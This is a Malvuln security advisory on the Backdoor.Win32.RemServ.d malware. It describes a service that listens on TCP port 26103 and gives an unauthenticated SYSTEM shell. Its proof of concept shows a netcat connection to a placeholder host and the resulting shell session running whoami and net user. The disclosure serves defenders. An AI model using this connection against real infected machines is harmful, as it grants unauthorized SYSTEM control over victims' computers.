Backdoor.Win32.RemServ.d MVID-2022-0655 Remote Command Execution

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/05a082d441d9cf365749c0e1eb904c85.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.RemServ.d  
Vulnerability: Unauthenticated Remote Command Execution  
Family: RemServ  
Type: PE32  
MD5: 05a082d441d9cf365749c0e1eb904c85  
Vuln ID: MVID-2022-0655  
Disclosure: 11/11/2022  
Description: The malware creates a service "RSMSS" that runs as SYSTEM and listens on TCP port 26103. Remote attackers who can connect to an infected host will get back a shell as "nt authority\system".  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 26103  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\>whoami  
whoami  
nt authority\system  
  
C:\>net user  
net user  
  
User accounts for \\  
  
----------------------------------------------------------------------------  
Administrator DefaultAccount Guest  
Victim WDAGUtilityAccount  
The command completed with one or more errors.  
  
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